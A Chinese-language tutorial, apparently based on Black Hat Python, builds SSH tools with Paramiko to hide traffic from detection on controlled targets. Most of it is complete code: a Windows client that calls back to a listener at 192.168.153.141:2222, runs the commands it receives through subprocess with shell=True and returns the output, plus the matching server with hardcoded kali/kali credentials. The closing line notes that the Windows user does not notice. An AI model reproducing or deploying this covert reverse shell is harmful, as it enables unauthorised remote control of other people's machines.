一、引子
有时候,我们需要加密自己的流量以逃避检测,一个比较常用的方法是通过SSH进行加密通信。但很多时候,控制的目标是没有SSH客户端的,此时开发的SSH客户端就派上用场了。
常用的python库是Paramiko,它是一个基于PyCrypto开发的第三方库,为了了解这个库的运作原理,我们将使用Paramiko连接到一台有SSH的机器,在上面执行命令;利用Paramiko编写SSH服务器和客户端,用它们在Windows系统上远程执行命令。
这个例子将使用Paramiko自带的反向隧道实例程序,来实现与BHNET工具的代理功能相同的效果。
二、Linux客户端代码
首先,下载一份Paramiko的官方代码,地址:https://github.com/paramiko/paramiko
具体细节已在代码注释中说明。
ssh_cmd.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import paramiko
# 该函数向SSH服务器发起连接并执行一条命令
def ssh_command(ip, port, user, passwd, cmd):
client = paramiko.SSHClient()
# 支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 此处为了简单,仍支持用户名密码认证
client.connect(ip, port=port, username=user, password=passwd)
# 自动信任并记住服务端发来的公钥,如果连接成功,就开始传给ssh_command函数的那条命令
_, stdout, stderr = client.exec_command(cmd)
output = stdout.readlines() + stderr.readlines()
# 如果这条命令产生了输出,就将其逐行打印
if output:
print ('--- output ---')
for line in output:
print(line.strip())
if __name__ == '__main__':
import getpass
# 要求输入用户名
user = input('username: ')
# 输入密码,getpass函数能让输入的密码不显示在屏幕上
password = getpass.getpass()
# 读取IP地址、端口、要执行的命令
ip = input("enter server IP: ") or '127.0.0.1'
port = input("enter server PORT or <CR>: ") or 2222
cmd = input('enter command or <CR>: ') or 'id'
# 将其交给ssh_command函数执行
ssh_command(ip, port, user, password, cmd)
运行示例:
可以看到,我们成功连接并执行了这条命令
三、Windows客户端代码
具体细节已在代码注释中说明。
ssh_cmd.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import shlex
import paramiko
import subprocess
# 该函数向SSH服务器发起连接并执行一条命令
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
# 支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 此处为了简单,仍支持用户名密码认证
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print (ssh_session.recv(1024).decode())
while True:
# 从SSH连接里不断读取命令
command = ssh_session.recv(1024)
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
# 在本地执行命令
cmd_output = subprocess.check_output(shlex.split(cmd),shell=True)
# 并把结果发回给服务器
ssh_session.send(cmd_output or 'okay')
except Exception as e:
ssh_session.send(str(e))
client.close()
return
if __name__ == '__main__':
import getpass
# 要求输入用户名,这里用户名一定要明文输入
user = input('username: ')
# 输入密码
password = getpass.getpass()
# 读取IP地址、端口
ip = input('enter server IP:')
port = input('enter port:')
# 将其交给ssh_command函数执行
ssh_command(ip, port, user, password, 'ClientConnected')
由于windows系统没有自带SSH服务器,所以我们需要反过来,让一台SSH服务器给SSH客户端发送命令。
四、SSH服务端
具体细节已在代码注释中说明。
ssh_server.py
#!/usr/bin/python
#-*- coding:utf8 -*-
import socket
import paramiko
import threading
import sys
import os
# 使用 Paramiko示例文件的密钥,即github中的
CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
# 把监听器SSH化
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'kali') and (password == 'kali'):
return paramiko.AUTH_SUCCESSFUL
if __name__ == '__main__':
server = '192.168.153.141'
ssh_port = 2222
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 这里value设置为1,表示将SO_REUSEADDR标记为TRUE
# 操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口
# 否则操作系统会保留几分钟该端口。
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定ip和端口
sock.bind((server, ssh_port))
# 最大连接数为100
sock.listen(100)
print ('[+] Listening for connection ...')
client, addr = sock.accept()
except Exception as e:
print ('[-] Listen failed: ' + str(e))
sys.exit(1)
else:
print ('[+] Got a connection!', client, addr)
# 设置权限认证方式
bhSession = paramiko.Transport(client)
bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)
# 设置超时值为20
chan = bhSession.accept(20)
if chan is None:
print ('*** No channel')
sys.exit(1)
# 客户端通过认证
print('[+] Authenticated!')
# 发送ClientConnected命令
print (chan.recv(1024))
chan.send("Welcome to bh_ssh")
# 在SSH服务器上运行的任何命令,都会被发送到SSH客户端,并且在该客户端上执行,执行的结果会回传给SSH服务器
try:
while True:
command = input("Enter command:")
if command != 'exit':
chan.send(command)
r = chan.recv(8192)
print (r.decode())
else:
chan.send('exit')
print ('exiting')
bhSession.close()
break
except KeyboardInterrupt:
bhSession.close()
首先运行服务端:
之后在windows上运行客户端:
此时在服务端中,就能够看到客户端的连接了,之后就可以运行一些命令了(是windows客户端的命令):
此时windows客户端是没有感知的。